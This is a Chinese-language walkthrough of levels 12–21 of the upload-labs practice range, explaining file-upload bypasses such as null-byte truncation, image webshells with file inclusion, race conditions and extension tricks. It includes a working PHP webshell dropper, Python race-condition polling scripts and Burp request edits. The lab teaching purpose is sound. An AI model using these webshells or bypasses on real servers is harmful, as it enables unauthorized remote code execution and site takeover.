本案例以upload靶场为例,?若帮到你请点个关注再走呗
?第十二关(get00截断)
本关采用%00截断,需要的php版本<5.3.4,且需要将【magic_quotes_gpc】参数关闭
-
步骤一:上传php文件,进行抓包修改参数 -
需要修改地方:
1、POST头【save_path=】在【../upload/】后面添加上传的php文件名,并加上【%00】进行截断
2、【filename】后面的php修改为【png/jpg/jpeg】等
3、同理下面的【Content-Type】里面的内容跟着修改
-
步骤二:上传成功后,连接蚁剑,注意这里的URL需要修改,将php文件后面的参数删除,在连接
?第十三关(post00截断)
-
需要的php版本<5.3.4,且需要将【magic_quotes_gpc】参数关闭 -
步骤一:上传一个php文件,进行抓包,在【../upload/】后面添加【文件名+】,修改【filename】后面的文件名名为【.jpg】
?
?
-
?步骤二:点击【hex】?,找到【+】的hex值,将其改为【00】,放包即可
-
?复制图片地址,连接蚁剑,将php后面的参数删除,连接
第十四关(图片马+文件包含漏洞绕过)
a.在靶场上传一个图片马,并点击网站的【文件包含漏洞】得到绝对路径
?b.复制URL的绝对路径,在打开图片的路径,复制【include.php】后面的路径,将其和前面的路径拼接起来,会出现乱码,这表示成功
?c.打开蚁剑,将拼接的路径加入进去,连接即可
?
第十五关(图片马+文件包含漏洞绕过)
上传一个图片马,点击文件的【文件包含】得到【绝对路径】,将图片地址的【upload/xxx.jpg】的url拼接到绝对路径【include.php】上,之间要添加【?file=】这样的参数,出现乱码则表示解析了图片马,将此路径放入蚁剑进行连接
?第十六关(exif_imagetype图片马)
-
因为普通情况下的上传图片马,会使得上传速度较慢,等待时间较长
-
所以要打开phpstudy的【php_exif】模块,来加快图片马的读取,此模块在【php扩展及设置】-->【php扩展】-->【php_exif】
-
利用文件包含漏洞,进行拼接图片地址,出现乱码,说明解析了图片马,在连接蚁剑即可
?
第十七关(二次渲染绕过)
-
利用后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接 -
先找到一个图片(最好是gif图,因为gif图片空白地方大),先上传一个gif图片,将回显的gif图下载下来 -
打开【winhex】工具,将两个gif图拖入软件内,点击【查看】里面的【同步窗口】,进行判断
-
利用【winhex】工具进行寻找两个gif的相同的地方(空白地方),将的一句话木马复制一下,点击【编辑】-->【剪贴板数据】-->【写入】-->【选择ASCII码】将复制好的木马放进去,进行保存,生成一个新的gif图
-
在将新的gif图上传,复制好图片地址,点击【文件上传漏洞】,进行拼接URL,出现乱码,进行复制URL,连接蚁剑
-
注:是否可以将gif生成一个图片马,上传后利用文件漏洞读取,省去这些步骤,经过实践,虽然出现乱码,可解析,可蚁剑却连接不上
第十八关(条件竞争一)?
-
我们要上传php木马就会被拦截删除掉,该怎么办,不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问就行了。这个也称为条件竞争上传绕过 -
利用burp多线程发包,然后不断在浏览器访问我们的【webshell】,会有一瞬间的访问成功 -
木马文件内容需要修改一下,写法内容如下,文件名这里写为1.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
-
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个shell.php的一句话
实际步骤:
a.将1.php上传,抓包,发送给【测试器】,这里需要注意的是,要一直抓着包,不要放开
?b.点击【清除】将里面的变量清除,将攻击载荷改为【无载荷】,【无限期的重复】,将线程调大,进行快速的发送,来让它一直上传该文件
?
?
c.编写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的1.php文件)
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/1.php" //这里的IP地址为目标IP,路径为上传文件的准确路径,否则上传不成功,这里的1.php是上面的木马文件
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
?d.点击burp的【开始攻击】,进行攻击,同时运行编写的这个python脚本,进行条件竞争,直到运行界面出现了【ok】,则代表文件(shell.php)上传成功了
?
e.用蚁剑进行连接,连接IP地址就是脚本上的上传文件地址+上传成功的文件名??
第十九关(条件竞争二)
php文件不能上传,只能上传图片马,将前一关的代码插入图片作出图片马,然后通过文件包含去访问该图片马
步骤一:上传图片马,用BP拦截,步骤如同第十八关一致
步骤二:我们要修改一下python脚本,这里脚本要修改为文件包含来访问
import requests
url = "http://xxx/upload/upload-labs/include.php?file=upload/xx.png'"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
else:
print("NO")
步骤三:同时运行BP和python脚本,出现ok则代表访问成功,蚁剑进行连接,本关需要一定的概率才能跑出来结果,所以多设一些线程
第二十关(黑名单后缀,修改文件名判断)
黑名单用于用户输入的文件后缀名进行判断【move_uploaded_file()】还有这么一个特性,会忽略掉文件末尾的?/.
步骤:
a.准备一句话木马,修改后缀为【.png】上传,利用burp抓包,修改【upload-19.jpg】为【upload-19.php/.】,放包后上传成功
?b.连接蚁剑,即可
第二十一关(burp抓包修改参数绕过)?
步骤:
a.上传一句话木马,修改一些参数,放包,连接蚁剑即可
修改的位置:
-
【Content-Type:】里面的内容改为【image/png/jpg/jpeg】 -
【save_name】里面的内容改为【save_name[0]】 -
【upload-20.jpg】里面改为【upload-20.php】 -
在此下面复制上【upload-20.jpg】的一整段,从【Content】到【----】,修改里面的内容【save_name[0]】为【save_name[2]】(中括号里面的内容大于1即可);将【upload-20.php】里面改为【png/jpg/jpeg】
【修改前】
?【修改后】
|